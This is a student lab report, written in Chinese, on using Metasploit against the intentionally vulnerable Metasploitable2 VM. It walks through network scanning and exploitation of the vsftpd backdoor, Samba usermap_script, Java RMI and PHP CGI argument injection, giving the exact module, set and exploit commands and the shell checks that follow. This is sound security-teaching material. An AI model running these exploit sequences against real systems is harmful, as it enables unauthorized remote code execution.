1.实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
2.实验过程
2.1 前期渗透
kali攻击机ip为172.20.10.128
Metasploitable2官方靶机ip为172.20.10.134(使用最初提供的靶机,没有前往官网下载,后续改用官网下载的靶机)
2.1.1 主机发现
攻击机打开msf控制台,输入search arp_sweep
搜索arp_sweep相关模块,输入use 0
选择使用攻击模块。
输入show options
查看模块需要配置的选项。
输入set RHOSTS 172.20.10.0/24
设置目标网络.执行该模块。
看到扫描到了5台主机。
2.1.2 端口扫描
输入nmap -p- 172.20.10.134
对靶机进行端口扫描。可以看到开放的端口有21、22、23、25、53、80、139、445、3306、3632、5432、8009、8180(1099端口没有开放)
2.1.3 选做:扫描系统版本、漏洞
输入nmap -O 172.20.10.134
对靶机的系统版本进行扫描。可以看到版本可能是Linux 2.6.9 - 2.6.33
输入nmap -p- -sV --version-all --script vuln 172.20.10.134
检测靶机上所有端口的开放状态、服务版本以及潜在的漏洞。
2.2 Vsftpd源码包后门漏洞(21端口)
靶机ip变为172.20.10.135
进入msf控制台,输入search exploit/unix/ftp/vsftpd_234_backdoor
扫描相关模块。
选择攻击模块,设置靶机ip,开始攻击。
依次输入:
id # 查看当前用户
whoami # 查看有效用户名
python -c 'import pty;pty.spawn("/bin/bash")' #进入交付模式
uname -a # 显示系统详细信息
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
进入msf控制台,输入search samba
搜索samba相关模块。
使用攻击模块,查看要配置的信息。
配置靶机ip,执行攻击。
依次输入:
id # 查看当前用户
whoami # 查看当前有效用户名
python -c 'import pty;pty.spawn("/bin/bash")' #进入交付模式
uname -a # 显示系统详细信息
2.4 Java RMI SERVER命令执行漏洞(1099端口)
输入nmap -p- 172.20.10.135
查看端口开放情况。确定1099端口开放。
进入msf控制台,输入search exploit/multi/misc/java_rmi_server
搜索攻击模块并使用。
查看需要配置的信息,配置靶机ip,开始攻击。
进入shell用whoami查看有效用户名。
2.5 PHP CGI参数执行注入漏洞(80端口)
进入msf控制台,输入search exploit/multi/http/php_cgi_arg_injection
搜索攻击模块并使用。
查看需要配置的信息。
配置靶机ip,开始攻击。
进入shell用whoami查看有效用户名。
3.问题及解决方案
-
问题1:对靶机进行端口扫描时报错。
-
问题1解决方案:查阅资料后发现对所有端口扫描要使用nmap -p- ip地址,而不是nmap -p ip地址。用前面的命令后成功扫描。
-
问题2:在利用Vsftpd源码包后门漏洞时,报错Exploit completed, but no session was created,无法建立会话。
-
问题2解决方案:检查配置无误。最后不再使用老师实现提供的靶机,而是安装题目提供的官方网址下载靶机,再次操作成功建立会话。
-
问题3:在利用Java RMI SERVER命令执行漏洞时先进行端口扫描发现1099端口没有打开。
-
问题3解决方案:想在防火墙打开1099端口发现靶机没有安装防火墙。最后不再使用老师实现提供的靶机,而是安装题目提供的官方网址下载靶机,再次扫描,1099端口开放。
4.学习感悟、思考等
本次实验重在练习掌握metasploit的用法,由于在进行实验之前做了充足的关于metasploit的实践练习,已经掌握了Search-Use-Show-Set-Exploit/run!这次实验并没有遇到太多的问题。实验中对Metasploitable2靶机漏洞的利用也让我认识到的漏洞的存在之多,在使用电脑时要注意网络安全,做好防护。
参考资料
- Metasploitable2靶机之第六篇--Vsftpd源码包后门漏洞
- Metasploitable2靶机之第四篇--Samba MS-RPC Shell 命令注入漏洞(CVE-2007-2447)
- Metasploitable2靶机之第九篇--Java RMI SERVER 命令执行漏洞
- Metasploitable2靶机之第十篇--PHP CGI参数注入执行漏洞(cve-2012-1823)